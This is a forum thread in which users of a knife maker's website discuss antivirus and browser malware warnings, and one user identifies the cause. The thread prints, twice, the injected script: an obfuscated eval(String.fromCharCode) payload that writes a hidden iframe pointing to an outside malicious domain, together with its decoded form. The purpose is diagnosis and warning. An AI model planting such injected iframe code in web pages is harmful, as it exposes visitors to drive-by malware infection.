Bussecombat.com DOWN?

No problem here, either. Could use some more info: what exactly gives the warning, and what does the warning say precisely?
 
I get a warning too! Avast is warning me not to enter the site, and prompts me to abort the connection; a virus has been detected it says.
 
RoNNiE said:
I got an auto-protect warning,,,,,,about a *bloodhound,exploit* thingy
Click to expand...

Sounds like Norton's (Symantec's) Anti-Virus program to me. The "bloodhound" warnings are heuristic detections, meaning the program is basically guessing that something is "probably" evil. It could be a false positive, ie. a mistake.

Edit: but since P-Easy gets a warning from Avast, a different program, then it's less likely to be a false positive...
 
Something is up, and my guess is that someone embedded the following JavaScript:

Code: 
<body background="images/common/background.jpg"  link="#FFF200" alink="#FFF200" vlink="#E6E6E6"><script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52))</script>

The stuff inside of String.fromCharCode evaluates to the following evil-looking stuff:

Code: 
var xew=453800543;var ghg45="nuot";var w="o";var re6="ll.";var h2h="com";var a="ifr";var s="htt";document.write('<'+a+'ame sr'+'c="'+s+'p://'+ghg45+''+w+''+re6+''+h2h+'/'+'" wid'+'th="1" h'+'eight="3"></if'+'rame>'); var jhr4=4324224

Someone at Busse Combat needs to remedy this post haste.
 
lunde said:
Something is up, and my guess is that someone embedded the following JavaScript:

Code: 
<body background="images/common/background.jpg"  link="#FFF200" alink="#FFF200" vlink="#E6E6E6"><script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52))</script>

The stuff inside of String.fromCharCode evaluates to the following evil-looking stuff:

Code: 
var xew=453800543;var ghg45="nuot";var w="o";var re6="ll.";var h2h="com";var a="ifr";var s="htt";document.write('<'+a+'ame sr'+'c="'+s+'p://'+ghg45+''+w+''+re6+''+h2h+'/'+'" wid'+'th="1" h'+'eight="3"></if'+'rame>'); var jhr4=4324224

Someone at Busse Combat needs to remedy this post haste.
Click to expand...

That looks a lot like an iframe exploit of some kind targeting Internet Explorer. :eek:
 
I run IE and Norton. I just got the same warnings and what Lunde posted is what I found to be the offending script. Hopefully Amy or Jerry will see this soon. I just called and left a message. I will email a link to this thread as well.
 
Firefox and Norton here (new computer, gonna get something better eventually...)

No issues with the site.
 
here is what it says for me:

The website you are visiting appears to contain malware.
Malware is malicious software that may harm your computer or otherwise operate without your consent. Your computer can be infected just by browsing to a site with malware, without any further action on your part.
for detailed information about problems on this site, or a portion of this site, visit the Google Safe Browsing diagnostic page for nuotoll.com
IGNORE WARNING or GO BACK (buttons on the bottom)

anyone else getting the same warning?

C
 
gixxerman said:
here is what it says for me:

The website you are visiting appears to contain malware.
Malware is malicious software that may harm your computer or otherwise operate without your consent. Your computer can be infected just by browsing to a site with malware, without any further action on your part.
for detailed information about problems on this site, or a portion of this site, visit the Google Safe Browsing diagnostic page for nuotoll.com
IGNORE WARNING or GO BACK (buttons on the bottom)

anyone else getting the same warning?

C
Click to expand...

Probably everyone who has the Google Toolbar for Firefox, which is probably where you're getting that warning from. Lunde did some skilled digging in a previous post and found out the reason for these warnings: seems that someone has sneaked a malicious javascript on the bussecombat.com front page.

For what it's worth, most likely whatever malware the exploit tries to serve only targets Internet Explorer, so users of Firefox and other browsers are probably safe from this one. Also safe is anyone who doesn't have Javascript enabled 'globally' (for all web sites).
 
You must log in or register to reply here.
Back
Top